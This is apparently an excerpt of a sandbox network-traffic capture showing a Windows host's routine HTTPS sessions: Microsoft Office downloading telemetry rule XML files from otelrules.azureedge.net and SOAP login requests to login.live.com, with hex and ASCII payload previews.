2024-11-19 23:19:34 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.5	62159	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:34 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:34 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:34 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 85babd8c-f01e-003f-4e8c-3ad19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231934Z-185f5d8b95cjbkr4hC1NYCeu2400000009b0000000001wat x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:34 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.5	62160	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:34 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:34 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:34 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: ff95cf15-b01e-0001-328c-3a46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231934Z-r1d97b99577dd2gchC1TEBz5ys00000007s000000000p8ux x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:34 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	62161	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:34 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:34 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:34 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: d35eb2be-501e-0064-3d8c-3a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231934Z-185f5d8b95cmd8vfhC1NYC0g40000000055000000000v4x6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:34 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.5	62162	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:34 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:34 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:34 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 6d4f85c2-e01e-0003-2b8c-3a0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231934Z-r1d97b99577sdxndhC1TEBec5n000000083000000000fsnh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:34 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.5	62163	40.126.32.136	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:34 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-19 23:19:34 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-19 23:19:35 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 19 Nov 2024 23:18:35 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BL2 x-ms-request-id: 2ddf7a2f-85d1-473a-838d-35d4196243fb PPServer: PPV: 30 H: BL02EPF0001D9D2 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 19 Nov 2024 23:19:35 GMT Connection: close Content-Length: 1918
2024-11-19 23:19:35 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.5	62164	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:35 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:35 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:35 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: c1a1f15b-901e-005b-358c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231935Z-185f5d8b95csd4bwhC1NYCq7dc00000009bg0000000080f2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:35 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.5	62165	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:35 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:35 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:35 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 96e0b134-501e-0035-148c-3ac923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231935Z-185f5d8b95ctl8xlhC1NYCn94g00000009fg00000000d26h x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:35 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.5	62167	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:35 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:35 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:35 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 297afce4-701e-0053-438c-3a3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231935Z-1777c6cb754n67brhC1TEBcp9c00000008x0000000003mn6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:35 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.5	62166	40.126.32.136	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:35 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-19 23:19:35 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-19 23:19:35 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 19 Nov 2024 23:18:35 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C551_SN1 x-ms-request-id: 8d656c51-03dd-4d46-97fb-692bc57d1d1c PPServer: PPV: 30 H: SN1PEPF0002F1BF V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 19 Nov 2024 23:19:35 GMT Connection: close Content-Length: 11409
2024-11-19 23:19:35 UTC	11409	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	62168	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:35 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:35 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:35 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: e045c2d1-201e-003c-718c-3a30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231935Z-185f5d8b95c4vwv8hC1NYCy4v400000009n0000000002usd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
